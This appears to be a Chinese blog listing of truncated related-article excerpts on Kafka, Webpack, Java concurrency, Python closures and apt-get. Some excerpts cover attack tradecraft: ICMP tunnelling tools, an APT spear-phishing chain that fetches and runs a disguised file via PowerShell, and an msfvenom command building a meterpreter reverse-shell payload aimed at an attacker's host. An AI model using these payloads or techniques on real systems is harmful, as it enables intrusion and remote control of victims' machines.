apt-get整理(草稿)】的更多相关文章

前言 简单整理一些自己使用kafka的一些感受. 正文 一切都要回到真实的世界上, 计算机世界只是真实事件的一个缩影. 计算机世界有一个重要的东西,那就是数据库. 数据库记录着真实世界发生了什么,准确的说就是这个世界发生了什么然后产生了什么结果. 比如说一辆火车,那么数据库记录这辆火车是开启的开始停止的,或者说乘坐着几个人,也就是这辆火车对当前世界的状态. 有比如说,一个人,数据库里面记录着这个人的年龄.身高.性别等.也就是记录这个人的状态. 可以说数据库,是事物的状态机. 这个是满足以前的,但…
前言 简单整理一些kafka的设计. 正文 前文提及到log 的重要性,以及kafka在其中的作用,起着一个日志管理分发的作用,对于其他服务来说相当于新闻报社,订阅某种主题就会收到某类信息. 当人们意识到事件状态的重要性的时候,当时还没有日志管理系统,可能像下面这样: 他们各自传递着各自的事件状态给需要的服务,有点乱且难以维护. 于是为了给他们解耦,就出现了下面这样的: 这种模式解决了日志分发问题. 这种模式的出现是否解决了各种服务之间日志的共享. 现在日志和数据库似乎没有什么关联了,也就是事件…
前言 简单整理一下分发的基本思路. 正文 kafka 原本是做日志管理系统,主要是分发这块的. 那么如何做分发呢? 分发的是什么呢? 分发的其实是日志,日志是事件状态,kafka 内部就叫做Record,也就是记录哈,也可以叫做事件状态的记录,其实和日志的意思差不多了. 首先需求是有分类的,要给record 进行分类,这个分类就用topic.每个分类有自己的topic. 然后就是怎么存的问题了. 首先最容易想到的是下面这种: 一个队列,往队列里面存就好,然后另外一端进行消费就好. 这样又一个问题…
基础 安装 首先要安装 Node.js, Node.js 自带了软件包管理器 npm.用 npm 全局安装 Webpack: $ npm install webpack -g 通常我们会将 Webpack 安装到项目的依赖中,这样就可以使用项目本地版本的 Webpack. # 进入项目目录,初始化,创建 package.json. # 若存在 package.json 文件,则不运行. $ npm init # 确定已经有 package.json # 安装 webpack 依赖 $ npm i…
攻击步骤 一般步骤 社工 武器制造 武器投递 漏洞利用 安装后门 后渗透 这5个阶段攻击非常隐蔽,可绕过传统安全设备检测 潜伏控制 传统通信方式不会使用,如cc/socket/http(可采用安全隧道拦截数据) -- 采用隐蔽隧道如ICMP/DNS 横向扩散 清除日志 ICMP攻击 原理 - 绕过WAF(多数防火墙未对ICMP流量做限制) 工具相关 PiX-C2.icmpsh.Nishang结合icmpsh .ptunnel .icmpshell 防御: DPI深度包解析技术 机器学习 神经网络…
常用CVE CVE-- 受影响版本 Windows /Windows /Windows Server /Windows Server R2/Windows Server /Windows Server R2/Windows Server 使用方式一 -kali下 .msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=KaliIP LPORT= -f psh-reflection>.ps1 .cp /root/.ps1 /var/www/ht…
1.信息来源 疑似朝鲜通过鱼叉攻击韩国统一部记者的APT事件整理 https://mp.weixin.qq.com/s/4IFV31MBNbANnCVaJj7ZPQ https://twitter.com/blackorbird/status/1082553543280680962 2.利用思路 1. 下载http://恶意网址/note[.]png作为文件到%temp%路径下,通过[powershell Invoke-item]运行. 2. 下载http://恶意网址/svchow.dat改名…
这篇文章是研一刚入学时写的,今天整理草稿时才被我挖出来.当时混混沌沌的面试,记下来了一些并发的面试问题,很多还没有回答.到现在也学习了不少并发的知识,回过头来看这些问题和当时整理的答案,漏洞百出又十分可笑.发表出来权当对自己的一个提醒--如果不能一直进步,你就看不到当初傻逼的自己. 曾经,我在面试Java研发实习生时最常听到的一句话就是: 搞Java怎么能不学并发呢? 没错,真的是经过了面试官的无数鄙视,我才知道Java并发编程在Java语言中的重要性. 并发模型 悲观锁和乐观锁的理解及如何实现…
可调用对象 callable()  # 可调用的(这个东西加括号可以执行特定的功能,类和函数) 可调用对象即  callable(对象)  返回为  True  的对象 x = 1 print(callable(x)) # False # x() # 会报错,TypeError: 'int' object is not callable def func(): pass print(callable(func)) # True 闭包函数 闭:# 函数内部的函数(全局看不到) 包: # 内部函数引…
1.apt-get这种方法下载的东西到哪了 参考网址:http://blog.csdn.net/magic881213/article/details/7692007 http://www.linuxdiyf.com/viewarticle.php?id=102978 [1]apt-get install **这样的命令会下载文件放在 /var/cache/apt/archives目录下,然后安装.这样这个目录所占空间会越来越大,于是apt提供了相应的管理工具apt-get clean删除/va…